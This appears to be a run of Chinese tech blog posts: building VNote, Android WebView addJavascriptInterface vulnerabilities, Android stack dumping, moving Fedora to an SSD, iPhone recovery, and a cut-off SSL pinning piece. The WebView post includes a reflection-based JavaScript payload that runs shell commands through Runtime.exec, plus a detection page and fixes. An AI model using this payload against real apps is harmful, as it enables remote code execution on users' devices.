向大家安利一款 markdown 笔记软件, VNote https://github.com/vnotex/vnote
此软件目前已经 1300 多个commits 了,做为一个有些开源软件维护经历的人,深感不易。
用了太多 markdown 笔记软件,此软件使得最为顺手,尤其作为程序员 vim 模式 让我感到非常舒服,
大量图表的支持比如 UML 流程图,让我用起来很顺手。

Vnote 分为两个开发阶段,阶段一 vnote2 已经开发完成:https://github.com/vnotex/vnote/tree/vnote2
现在处于第二个开发阶段:https://github.com/vnotex/vnote

据说后续会出收费版本,但目前看还需要很长的一段时间了。

VNote

我前后尝试过各种笔记软件,我理想的软件有几点:

  • a. 支持文件管理
  • b. 不要乱改数据,容易迁移
  • c. 支持 markdown
  • d. 跨平台,支持 Mac 和 Linux

最后,终于发现了 VNote,有点惊喜。在 Linux 下编译 VNote 显示有明显改进,下面是编译的方法:

  1. 下载 QT SDK (最新的 vnotex 官方支持 Qt 5.15.2,可自行下载使用替换相应的版本即可)

https://mirrors4.tuna.tsinghua.edu.cn/qt/official_releases/qt/5.9/5.9.0/qt-opensource-linux-x64-5.9.0.run

将 Qt5.9 安装到 /home/henices/Qt5.9.0/

  1. 编译 fcitx-qt5 (如果使用的是 fcitx5,需要下载编译 fcitx5-qt)

git clone https://gitlab.com/fcitx/fcitx-qt5.git

准备编译脚本 build_linux.sh, 指定下载的QT

1
2
3
4
5
6
7
8
9
10
QTDIR="/home/henices/Qt5.9.0/5.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
cmake ..
make -j8

使用下面命令编译

1
2
chmod a+x ./build_linux.sh
./build_linux.sh

将生成的 libfcitxplatforminputcontextplugin.so copy 到
/home/henices/Qt5.9.0/5.9/gcc_64/plugins/platforminputcontexts/

  1. 获取VNote 源码
1
2
3
git clone https://github.com/tamlok/vnote.git vnote.git
cd vnote.git
git submodule update --init
  1. 编译

build_linux.sh

1
2
3
4
5
6
7
8
9
10
11
QTDIR="/home/henices/Qt5.9.0/5.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
qmake -v
qmake PREFIX=/usr/local CONFIG-=debug CONFIG+=release ../VNote.pro
make -j8

使用下面命令编译

1
2
chmod a+x ./build_linux.sh
./build_linux.sh
  1. 安装

sudo make install

诡异问题

Fedora 升级到 35 后,Vnote 出现了一系列问题

  1. vnote 的阅读模式不能正常显示 (Qt 5.12.11)

    解决这个问题需要禁用 Qtwebengine 的 sandbox

1
./vnote --no-sandbox
  1. 导出 pdf 文件 cpu 100% (Fedora 系统自带 Qt 5.15.2 编译)
  2. 官方提供的 Linux AppImage 文件无法打开 Fcitx5 输入法。

最终解决问题的方法是下载 Qt5.15.2 重新编译 Vnote, Qt 从 5.15 开始不提供离线安装包,非常不方便。
官方提供的在线升级包如果太新只能安装 Qt 6,所以必须下载老版本的 online installer
https://download.qt.io/archive/online_installers/4.0/qt-unified-linux-x64-4.0.1-1-online.run

具体内容可以参考 https://github.com/vnotex/vnote/issues/1942 的讨论

2022.8.2 更新

导出 pdf 文件 cpu 100% 的问题,我调试 Qt 5.15.5 代码时已经解决,可以参考:
https://github.com/vnotex/vnote/commit/53e2b3bfa8aff4f590471caf5e8cc55c8b8b538b

Qt 5.15.3

使用 Qt 5.15.3 编译 VNOte 后,出现下面的报错

1
[695784:695784:0401/181224.580254:ERROR:network_service_instance_impl.cc(286)] Network service crashed, restarting service.

bug 在这 https://bugreports.qt.io/browse/QTBUG-91715 可以先使用环境变量救急一下

1
QTWEBENGINE_DISABLE_SANDBOX=1 QTWEBENGINE_CHROMIUM_FLAGS=--lang=de ./vnote --no-sandbox --disable-gpu

2022.8.2 更新

Qt 5.15.5 已经修复了这个问题。

参考链接

https://tamlok.gitee.io/vnote/zh_cn/#!docs/%E5%BC%80%E5%8F%91%E8%80%85/%E6%9E%84%E5%BB%BAVNote.md

☆ 来自 developer.android.com 的信息

Android 官方网站对addJavascriptInterface的介绍如下:

1
2
3
4
5
6
7
8
9
10
11
12
public void addJavascriptInterface (Object object, String name)  Added in API level 1

Injects the supplied Java object into this WebView. The object is injected into
the JavaScript context of the main frame, using the supplied name. This allows
the Java object's methods to be accessed from JavaScript. For applications
targeted to API level JELLY_BEAN_MR1 and above, only public methods that are
annotated with JavascriptInterface can be accessed from JavaScript. For applications
targeted to API level JELLY_BEAN or below, all public methods (including the inherited ones)
can be accessed, see the important security note below for implications.

Note that injected objects will not appear in JavaScript until the page is next
(re)loaded. For example:
1
2
3
4
5
6
7
8
9

class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}

webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
This method can be used to allow JavaScript to control the host application. 
This is a powerful feature, but also presents a security risk for apps targeting
JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still
vulnerable if the app runs on a device running Android earlier than 4.2. The
most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the
method is called only when running on Android 4.2 or later. With these older
versions, JavaScript could use reflection to access an injected object's public
fields. Use of this method in a WebView containing untrusted content could allow
an attacker to manipulate the host application in unintended ways, executing
Java code with the permissions of the host application. Use extreme care when
using this method in a WebView which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this
WebView. Care is therefore required to maintain thread safety.

The Java object's fields are not accessible.
For applications targeted to API level LOLLIPOP and above, methods of injected
Java objects are enumerable from JavaScript. Parameters object the Java object
to inject into this WebView's JavaScript context. Null values are ignored.
name the name used to expose the object in JavaScript

之所以提供addJavascriptInterface是为了WebView中的Javascript可以和本地的App
通讯,这确实是一个很强大的功能,这么做的好处在于本地App逻辑不变的情况下,不
需要升级App就可以对程序进行更新,修改相应的Web页面就可以了。

☆ 相关知识

WebView的使用方法

在layout中定义 , 在Activity的onCreate中加入下面的代码

1
2
3
WebView webview = new WebView(this);
setContentView(webview);
webview.loadUrl("http://slashdot.org/");

Java Reflection

反射是java语言提供的一种机制,使Java程序可以在运行时检查类、接口、方法和成员,
而不需要在编译的时候知道类的名字和方法等细节信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

package Reflect;
import java.lang.reflect.Method;

class Demo {

public void a1() {
}

public void a2() {
}

}

class hello {

public static void main(String[] args) {

Demo demo=new Demo();
Class mObjectClass = demo.getClass();

System.out.println(mObjectClass.getName());

Method[] methods = mObjectClass.getMethods();
for(Method method : methods){
System.out.println("method = " + method.getName());
}

try {

Class c = mObjectClass.forName("java.lang.Runtime");
Method m = c.getMethod("getRuntime", null);
m.setAccessible(true);
Object obj = m.invoke(null, null);

Class c2 = obj.getClass();
String[] array = {"/bin/sh", "-c", "id > /tmp/id"};
Method n = c2.getMethod("exec", array.getClass());
n.invoke(obj, new Object[]{array});

} catch (Throwable e) {
System.out.println(e.toString());
}
}

}

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> javac -d . Reflect/hello.java
> java Reflect.hello

Reflect.Demo
method = a2
method = a1
method = wait
method = wait
method = wait
method = equals
method = toString
method = hashCode
method = getClass
method = notify
method = notifyAll

命令执行成功。

通过reflection 访问private

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

package Reflect;

import java.lang.reflect.Method;

class Demo {

private void a1() {
System.out.println("I am a1");
}

public void a2() {
System.out.println("I am a2");
}

}


class hello {

public static void main(String[] args) {

Demo demo=new Demo();
Class mObjectClass = demo.getClass();

System.out.println(mObjectClass.getName());

Method[] methods = mObjectClass.getDeclaredMethods();
for(Method method : methods){
System.out.println("method = " + method.getName());
}

try {
Object o = mObjectClass.newInstance();
methods[0].setAccessible(true);
methods[0].invoke(o);
} catch (Throwable e) {
}
}

}

运行结果:

1
2
3
4
5
6
7
> javac -d . Reflect/hello.java
> java Reflect.hello

Reflect.Demo
method = a1
method = a2
I am a1

已经成功调用了Demo的private a1 方法

☆ 相关漏洞

CVE-2013-4710

Disney Mobile、eAccess、KDDI、NTT DOCOMO、SoftBank设备上的Android 3.0至4.1.x版
本中存在安全漏洞,该漏洞源于程序没有正确实现WebView类。远程攻击者可借助特制的网
页利用该漏洞执行任意Java对象的方法或造成拒绝服务(重启)

CVE-2012-6636 (关键的CVE)

该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可
通过使用Java Reflection 利用该漏洞执行任意Java对象的方法。影响使用 API Level 16
以及之前的Android 系统。(Android 4.2 为 API Level 17)

CVE-2014-1939 searchBoxJavaBridge_ in Android Jelly Bean

此漏洞公布了一个可利用的Java Object “searchBoxJavaBridge_”

CVE-2014-7224

根据 android/webkit/AccessibilityInjector.java 代码中的介绍,发现当系统辅助
功能中的任意一项服务被开启后,所有由系统提供的WebView都会被加入两个JS objects,
分别为是”accessibility” 和 “accessibilityTraversal”。如果APP使用了系统的WebView
并且设置了setJavaScriptEnabled(),那么恶意攻击者就可以使用”accessibility” 和
“accessibilityTraversal” 这两个Java Bridge来执行远程攻击代码

分析

这些CVE中最核心的是CVE-2012-6636, 出现的问题是接口定义问题。是非常经典的
do a 变成 do b 的例子,后面的修复方法也是保证了do a 就是 do a。

☆ 漏洞检测

使用WebView访问下面页面,输出的接口名称则存在漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>WebView漏洞检测</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=0">
</head>
<body>
<p>
<b>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</b>
</p>
<script type="text/javascript">
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>');
document.write('<br />');
}catch(e){
}
}
} catch(e) {
}
}
}
check();
</script>
</body>
</html>

现代浏览器都实现基本一致的BOM,使得JavaScript和浏览器进行消息传递。
是否有getClass的方法,可以作为检测WebView漏洞依据。

在Android 4.1.1 原生系统上测试,在默认配置下,存在 searchBoxJavaBridge_
可以利用,CVE-2014-7224上的两个接口,并没有成功暴露。看了源代码后发现必须
打开Accessibility 设置中的Enhance Web accessibility 才会暴露这个两个接口,
因此CVE-2014-7224的影响并不像想象中的那么大。

☆ 漏洞利用的方法

1
2
3
4
5
6
7
<script>
function execute(cmd){
return
window.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

jsinterface是导出的Java对象, 测试成功,权限是app 的用户权限。

☆ 修复方法和现状

Google宣布不为小于Android 4.4 的系统提供WebView补丁, 具体可以参见链接:

https://community.rapid7.com/community/metasploit/blog/2015/01/11/google-no-longer-provides-patches-for-webview-jelly-bean-and-prior

要解决WebView的RCE漏洞,比较靠谱的方法是升级Android系统,至少要升级到
API level 17 (Android 4.2), WebView 除了最严重的RCE漏洞,还有各种SOP漏洞,所
以至少要升级到Android 4.4才能保证安全,小于Android 4.4 Google不提供补丁。
Android 4.4 以后使用以chrome为基础的WebView。

升级系统API level 17后,只有显示添加 @JavascriptInterface的方法才能被JavaScript
调用,这样反射就失去作用了。

1
2
3
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");
removeJavascriptInterface("searchBoxJavaBridge_");

☆ 参考链接

☆ 思考

WebView 中还提供了一个方法让我们可以获得控制的机会

1
2
3
4
5
6
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url.substring(0,6).equalsIgnoreCase("yourscheme:")) {
// parse the URL object and execute functions
}
}

如果使用上面的代码,在网页的javascript中添加下面的代码,就可以进入后面的解析
URL流程,如果后续代码没有进行严格的检查可能会有一些其他的安全问题。

1
window.location = yourscheme://method?parameter=value

Google对这个方法的解释如下:

1
2
3
4
5
6
7
Give the host application a chance to take over the control when a new url 
is about to be loaded in the current WebView. If WebViewClient is not
provided, by default WebView will ask Activity Manager to choose the proper
handler for the url. If WebViewClient is provided, return true means the
host application handles the url, while return false means the current
WebView handles the url. This method is not called for requests using
the POST "method".

其实就是当WebView加载新的URL时给App程序一个控制的机会,这还是有一些想象空间的。

☆ 使用kill 发送 SIGNAL_QUIT

这种方法只能用于zygote 的子进程 (比如所有的 app 进程, 都是由zygote fork 而来).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# kill -3 pid

# cat /data/anr/traces.txt

...

suspend all histogram: Sum: 290us 99% C.I. 2us-40us Avg: 14.500us Max: 40us
DALVIK THREADS (12):
"Signal Catcher" daemon prio=5 tid=2 Runnable
| group="system" sCount=0 dsCount=0 obj=0x32c070a0 self=0xaecca000
| sysTid=1918 nice=0 cgrp=bg_non_interactive sched=0/0 handle=0xb4406930
| state=R schedstat=( 228351607 17443703 83 ) utm=12 stm=9 core=0 HZ=100
| stack=0xb430a000-0xb430c000 stackSize=1014KB
| held mutexes= "mutator lock"(shared held)
native: #00 pc 00370e01 /system/lib/libart.so (_ZN3art15DumpNativeStackERNSt3__113basic_ostreamIcNS0_11char_traitsIcEEEEiPKcPNS_9ArtMethodEPv+160)
native: #01 pc 0035046f /system/lib/libart.so (_ZNK3art6Thread4DumpERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+150)
native: #02 pc 0035a373 /system/lib/libart.so (_ZN3art14DumpCheckpoint3RunEPNS_6ThreadE+442)
native: #03 pc 0035af31 /system/lib/libart.so (_ZN3art10ThreadList13RunCheckpointEPNS_7ClosureE+212)
native: #04 pc 0035b45f /system/lib/libart.so (_ZN3art10ThreadList4DumpERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+142)
native: #05 pc 0035bb6f /system/lib/libart.so (_ZN3art10ThreadList14DumpForSigQuitERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+334)
native: #06 pc 00333cb7 /system/lib/libart.so (_ZN3art7Runtime14DumpForSigQuitERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEE+74)
native: #07 pc 0033b01d /system/lib/libart.so (_ZN3art13SignalCatcher13HandleSigQuitEv+928)
native: #08 pc 0033b901 /system/lib/libart.so (_ZN3art13SignalCatcher3RunEPv+340)
native: #09 pc 0003f45f /system/lib/libc.so (_ZL15__pthread_startPv+30)
native: #10 pc 00019b43 /system/lib/libc.so (__start_thread+6)
(no managed stack frames)

"main" prio=5 tid=1 Native
| group="main" sCount=1 dsCount=0 obj=0x74abb2a0 self=0xb4d76500
| sysTid=1914 nice=0 cgrp=bg_non_interactive sched=0/0 handle=0xb6f3fb34
| state=S schedstat=( 76934470 21396828 203 ) utm=3 stm=3 core=0 HZ=100
| stack=0xbe55e000-0xbe560000 stackSize=8MB
| held mutexes=
native: #00 pc 00040894 /system/lib/libc.so (__epoll_pwait+20)
native: #01 pc 00019e6f /system/lib/libc.so (epoll_pwait+26)

...

结果写在 /data/anr/traces.txt 文件中, anr 是 ANR(Application Not Response)的意思.

https://android.googlesource.com/platform/art/+/android-7.1.1_r13/runtime/runtime.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void Runtime::InitNonZygoteOrPostFork(
JNIEnv* env, bool is_system_server, NativeBridgeAction action, const char* isa) {

...

// Create the thread pools.
heap_->CreateThreadPool();
// Reset the gc performance data at zygote fork so that the GCs
// before fork aren't attributed to an app.
heap_->ResetGcPerformanceInfo();
if (!is_system_server &&
!safe_mode_ &&
(jit_options_->UseJitCompilation() || jit_options_->GetSaveProfilingInfo()) &&
jit_.get() == nullptr) {
// Note that when running ART standalone (not zygote, nor zygote fork),
// the jit may have already been created.
CreateJit();
}
StartSignalCatcher();
// Start the JDWP thread. If the command-line debugger flags specified "suspend=y",
// this will pause the runtime, so we probably want this to come last.
Dbg::StartJdwp();
}

可以看出非zygote的进程都会启动 Signal Catcher的 线程.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@shamu:/ # ps -t 2089
USER PID PPID VSIZE RSS WCHAN PC NAME
u0_a58 2089 386 1565280 53732 SyS_epoll_ b6cb0894 S com.hujiang.dict:pushservice
u0_a58 2092 2089 1565280 53732 do_sigtime b6cb0b68 S Signal Catcher
u0_a58 2095 2089 1565280 53732 unix_strea b6cb194c S JDWP
u0_a58 2096 2089 1565280 53732 futex_wait b6c875e8 S ReferenceQueueD
u0_a58 2097 2089 1565280 53732 futex_wait b6c875e8 S FinalizerDaemon
u0_a58 2099 2089 1565280 53732 futex_wait b6c875e8 S FinalizerWatchd
u0_a58 2100 2089 1565280 53732 futex_wait b6c875e8 S HeapTaskDaemon
u0_a58 2101 2089 1565280 53732 binder_thr b6cb09c0 S Binder_1
u0_a58 2102 2089 1565280 53732 binder_thr b6cb09c0 S Binder_2
u0_a58 2107 2089 1565280 53732 SyS_epoll_ b6cb0894 S Thread-123
u0_a58 2108 2089 1565280 53732 futex_wait b6c875e8 S taskService-pro

zygote 自己没有该线程.

root@shamu:/ # ps | grep -i zy
root 386 1 1528448 67416 poll_sched b6cb0a5c S zygote

127|root@shamu:/ # ps -t 386
USER PID PPID VSIZE RSS WCHAN PC NAME
root 386 1 1528448 67416 poll_sched b6cb0a5c S zygote
root 2203 386 1528448 67416 futex_wait b6c875e8 S ReferenceQueueD
root 2204 386 1528448 67416 futex_wait b6c875e8 S FinalizerDaemon
root 2205 386 1528448 67416 futex_wait b6c875e8 S FinalizerWatchd
root 2206 386 1528448 67416 futex_wait b6c875e8 S HeapTaskDaemon

https://android.googlesource.com/platform/art/+/android-7.1.1_r13/runtime/signal_catcher.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
...

void SignalCatcher::Output(const std::string& s) {
if (stack_trace_file_.empty()) {
LOG(INFO) << s;
return;
}
...

void SignalCatcher::HandleSigQuit() {
Runtime* runtime = Runtime::Current();
std::ostringstream os;
os << "\n"
<< "----- pid " << getpid() << " at " << GetIsoDate() << " -----\n";
DumpCmdLine(os);
// Note: The strings "Build fingerprint:" and "ABI:" are chosen to match the format used by
// debuggerd. This allows, for example, the stack tool to work.
std::string fingerprint = runtime->GetFingerprint();
os << "Build fingerprint: '" << (fingerprint.empty() ? "unknown" : fingerprint) << "'\n";
os << "ABI: '" << GetInstructionSetString(runtime->GetInstructionSet()) << "'\n";
os << "Build type: " << (kIsDebugBuild ? "debug" : "optimized") << "\n";
runtime->DumpForSigQuit(os);
if ((false)) {
std::string maps;
if (ReadFileToString("/proc/self/maps", &maps)) {
os << "/proc/self/maps:\n" << maps;
}
}
os << "----- end " << getpid() << " -----\n";
Output(os.str());
}

...

while (true) {
int signal_number = signal_catcher->WaitForSignal(self, signals);
if (signal_catcher->ShouldHalt()) {
runtime->DetachCurrentThread();
return nullptr;
}
switch (signal_number) {
case SIGQUIT:
signal_catcher->HandleSigQuit();
break;
case SIGUSR1:
signal_catcher->HandleSigUsr1();
break;
default:
LOG(ERROR) << "Unexpected signal %d" << signal_number;
break;
}
}
...

从源码中发现除了SIGQUIT 还可以发送 SIGUSR1 , 这个信号可以使进程java 虚拟机执行GC
操作 kill -10 pid

1
2
3
4
void SignalCatcher::HandleSigUsr1() {
LOG(INFO) << "SIGUSR1 forcing GC (no HPROF)";
Runtime::Current()->GetHeap()->CollectGarbage(false);
}

☆ 使用 debugged 命令行

这种方法是全系统通用的, 可以用于非zygote的进程.

1
2
Usage: -b [<tid>]
-b dump backtrace to console, otherwise dump full tombstone file

通过 -b 参数指定进程pid, 即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# debuggerd -b 23850

Sending request to dump task 23850.


----- pid 23850 at 1970-01-27 03:57:11 -----
Cmd line: /sbin/adbd
ABI: 'arm'

"adbd" sysTid=23850
#00 pc 0002b158 /sbin/adbd
#01 pc 0002467f /sbin/adbd
#02 pc 00020854 [stack]

"adbd" sysTid=23851
#00 pc 0002fd38 /sbin/adbd
#01 pc 0002a501 /sbin/adbd
#02 pc 0000000b <unknown>

"adbd" sysTid=23852
#00 pc 0002b624 /sbin/adbd
#01 pc 000106cf /sbin/adbd
#02 pc 00010301 /sbin/adbd
#03 pc 0002a613 /sbin/adbd
#04 pc 00030283 /sbin/adbd

"adbd" sysTid=23853
#00 pc 0002b628 /sbin/adbd
#01 pc 00013999 /sbin/adbd
#02 pc 000112ed /sbin/adbd
#03 pc 000104e1 /sbin/adbd
#04 pc 0002a613 /sbin/adbd
#05 pc 00030283 /sbin/adbd

"adbd" sysTid=23862
#00 pc 0002b888 /sbin/adbd
#01 pc 0000a503 /sbin/adbd
#02 pc 00009527 /sbin/adbd
#03 pc 0002a613 /sbin/adbd
#04 pc 00030283 /sbin/adbd

----- end 23850 -----
...

☆ java 代码中打印调用栈

1
2
3
4
5
6
try {  
...
} catch (RemoteException e) {
e.printStackTrace();
...
}

☆ C++代码中打印调用栈

CallStack.cpp

1
2
3
4
5
6
7
8
9
#include <utils/CallStack.h>

int main() {
android::CallStack stack;
stack.update();
stack.dump(1);

return 0;
}

Android.mk

1
2
3
4
5
6
7
8
9
10
11
12
LOCAL_PATH:= $(call my-dir)


include $(CLEAR_VARS)
LOCAL_SRC_FILES:= CallStack.cpp
LOCAL_SHARED_LIBRARIES += libutils
LOCAL_LDLIBS += -ldl -lutils

LOCAL_CFLAGS := $(common_CFLAGS)
LOCAL_MODULE := CallStack
include $(BUILD_EXECUTABLE)

执行后显示类似下面的结果

1
2
3
4
5

root@shamu:/data/local/tmp # ./CallStack
#00 pc 000006d1 /data/local/tmp/CallStack
#01 pc 00017359 /system/lib/libc.so (__libc_init+44)
#02 pc 0000074c /data/local/tmp/CallStack

由于某些需求,决定上SSD,提高一下硬盘读写速度。上二手东买了三星(SAMSUNG) 860 EVO
最初的想法是作为数据盘使用,即操作系统还是跑在机械硬盘上,仔细一思考,还是折腾
一下,要不实在是有些浪费,事实证明,折腾是值得的,感觉就想飞一样。

首先查看一下原始的情况:

1
2
3
4
$ mount

/dev/sda1 on /boot type ext4 (rw,relatime,seclabel,stripe=4)
/dev/mapper/fedora-root on / type ext4 (rw,relatime,seclabel)

当然首先要把SSD处理一下,安装一下 gparted 图形化界面很好用。建个分区表,选择
gpt,分个区,/dev/mapper/fedora-root 大小为50G,先分个50G的分区,剩下的全部给
另外一个分区,格式化为 ext4。操作完成后,用fdisk 查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
$ fdisk -l

Disk /dev/sdb:232.9 GiB,250059350016 字节,488397168 个扇区
单元:扇区 / 1 * 512 = 512 字节
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节
磁盘标签类型:gpt
磁盘标识符:

设备 起点 末尾 扇区 大小 类型
/dev/sdb1 2048 104859647 104857600 50G Linux 文件系统
/dev/sdb2 104859648 488396799 383537152 182.9G Linux 文件系统

将原来系统的 / dd 到新的SSD,

1
dd if=/dev/mapper/fedora-root of=/dev/sdb1 bs=1M

用新的root 把系统启动起来,reboot 后进入引导界面,按e 编译,找到
root=/dev/fedora/root 改为 root=/dev/sdb1 按 ctrl+x 启动,一会儿就进系统了,速度
提升很大。现在需要把 grub.cfg 更新一下,因为我们是手动修改进入了新的根,如果重启
的话,还是会使用老的根,因为grub.cfg 里就是这么写的。

要生成新的grub.cfg 需要使用grub2-mkconfig, 命令很简单

$ grub2-mkconfig -o /boot/grub2/grub.cfg

执行后重启,md 怎么又进到老根去了。这里折腾了好久,第一个问题fedora 的内核出bug
了,每次重启都要等待非常久的时间,所以需要升级,所以正确的顺序应该是先升级系统再
dd,没办法升级系统重新 dd

解决了fedora 内核的问题后,发现还是进不到新根。只要认真地看 grub.cfg, grub2 改动
挺大,不太熟悉了。

1
2
3
4
#                                      
# DO NOT EDIT THIS FILE #
# It is automatically generated by grub2-mkconfig using templates
# from /etc/grub.d and settings from /etc/default/grub

启动有两个信息,确实是使用 grub2-mkconfig 生成,/etc/default/grub 里有配置

1
2
3
4
5
6
7
8
9
10
$ cat /etc/default/grub


GRUB_TIMEOUT=5
GRUB_DISTRIBUTOR="$(sed 's, release .*$,,g' /etc/system-release)"
GRUB_DEFAULT=saved
GRUB_DISABLE_SUBMENU=true
GRUB_TERMINAL_OUTPUT="console"
GRUB_CMDLINE_LINUX="rd.driver.blacklist=nouveau modprobe.blacklist=nouveau nvidia-drm.modeset=1 rd.lvm.lv=fedora/root rd.lvm.lv=fedora/swap rhgb quiet"
GRUB_DISABLE_RECOVERY="true"

grub2-mkconfig 里用这句

1
GRUB_DEVICE="`${grub_probe} --target=device /`"  

执行查看结果, 发现正确

1
2
3
$ grub2-probe --target=device /

/dev/sdb1

可是为什么不能正确启动呢,看看生成的 grub.cfg 文件

linux16 /vmlinuz-4.17.2-200.fc28.x86_64 root=UUID=290a98e3-7937-49db-a971-4d0e49567cf0

使用的是 UUID,并不是 /dev, 查看一下各分区的 uuid

1
2
3
4
# blkid

/dev/sdb1: UUID="290a98e3-7937-49db-a971-4d0e49567cf0" TYPE="ext4" PARTUUID="fe64f395-7520-42c3-939b-b17eb7064cec"
/dev/mapper/fedora-root: UUID="290a98e3-7937-49db-a971-4d0e49567cf0" TYPE="ext4"

由于dd 的原因,/dev/sdb1 和 /dev/mapper/fedora-root 的 UUID 居然是相同的。第一个
想法是把/dev/sdb1 的 UUID 给改了。放狗搜发现有下面的方法

1
2
3
4
$ uuidgen 
8e4c27b2-c63e-4d1d-8ac4-5ddd90669eb0

tune2fs /dev/{device} -U {uuid}

可是tune2fs 时报错,死活改不过来。lzx 提示可以看看如何是grub.cfg 不使用uuid,
发现有个参数 GRUB_DISABLE_UUID=true, 在 /etc/default/grub 加上这行,重新生成
grub.cfg 重启,一切 OK 进入到SSD 的新root

有的系统上的参数可能不太一样,ubuntu 系统里这个参数好像的是 GRUB_DISABLE_LINUX_UUID=true
可能需要确认一下。

  • EOF

上周媳妇的 iPhone 提示内存满了,重启后就进入白苹果状态。安装 itunes 以更新的方式重刷系统后恢复正常 (如果选择恢复模式则会丢失数据)。
刷系统的时候一度遇上 14 错误,重新使用更新系统的方式再刷了一遍后,顺利通过 (运气不错)。顺利登录 iPhone 后马上删除各种 App,清理后台驻留的程序,在此也提示大家 iPhone 手机也是要定期维护啊。

说起来就上面几句话,实际操作起来比较麻烦,大概弄了一个早上,把几个要点总结一下。

强制重新启动 iPhone

其实在刷机前我尝试了强制重启 iPhone,强制重启 iPhone 的方法可以参考下面链接:
https://support.apple.com/zh-cn/guide/iphone/iph8903c3ee6/ios

新版 iPhone 可以使用下面的方法

1
2
3
4
5
强制重新启动配备面容 ID 的 iPhone

若要强制重新启动 iPhone X、iPhone XS、iPhone XR、iPhone 11、iPhone 12 或 iPhone 13,请执行以下操作:

按下并快速松开调高音量按钮,按下并快速松开调低音量按钮,然后按住侧边按钮。当 Apple 标志出现时,松开按钮。

但是强制重启 iPhone 并没有成功,手机依然处于白苹果状态没有响应。

进入 DFU 模式

不进入 DFU 模式无法刷机,iPhone 不同机型进入 DFU 模式的方法不相同,具体的可以参考下面链接:
https://support.apple.com/en-us/HT201263

1
2
3
iPhone 8 or later: Press and quickly release the Volume Up button. 
Press and quickly release the Volume Down button.
Then, press and hold the Side button until you see the recovery mode screen.

安装 itunes 刷机

安装 itunes 的过程就不在细说了,正常安装即可。更新过程需要注意中间某个步骤可能耗时很长,不要着急得慢慢等,Apple 还专门有链接说明这个问题。
https://support.apple.com/zh-cn/HT203435

1
2
3
4
5
6
7
出现这种情况后,进度条可能移动非常缓慢或似乎不移动。

请等待设备完成更新、恢复或抹掉过程。

进度条会显示安装进度。所用时间取决于设备上的文件数量,以及您是要抹掉、更新还是升级 iOS 或 iPadOS。
如果设备上只有很少数据或没有数据,或者如果您要抹掉设备上的数据,这个过程可能只需一分钟时间。
如果设备包含大量文件,则这个过程可能需要数分钟至一小时不等。

刷机过程中大概率会遇上 14 错误,网络上说法很多大概就两点。

  • (1)挑线,要保证 USB 数据线有效,优先使用 USB 2.0
  • (2)多刷几次,反复刷

我这次运气不错,遇上 14 错误后,换了个 USB 2.0 的口重刷一次就过了,祝大家好运。

重启后需要输入密码,提示尝试恢复数据,进度跑完就大功告成了。

事后的清理工作

恢复完数据,登录媳妇的手机发现以下几点问题:

  • (1) 手机存储空间紧张
  • (2) 后台驻留的程序比较多

导致白苹果的原因未知,将这些问题解决了一下,希望能正常使用了。

SSL pinning

SSL Pinning是一种防止中间人攻击的技术,主要机制是在客户端发起请求–>收到服务器发来的证书进行校验,如果收到的证书不被客户端信任,就直接断开连接不继续请求。可以发现中间人攻击的要点是伪造了一个假的服务端证书给了客户端,客户端误以为真。解决思路就是,客户端也预置一份服务端的证书,比较一下就知道真假了。

SSL-pinning有两种方式:证书锁定(Certificate Pinning) 和公钥锁定( Public Key Pinning)。

证书锁定

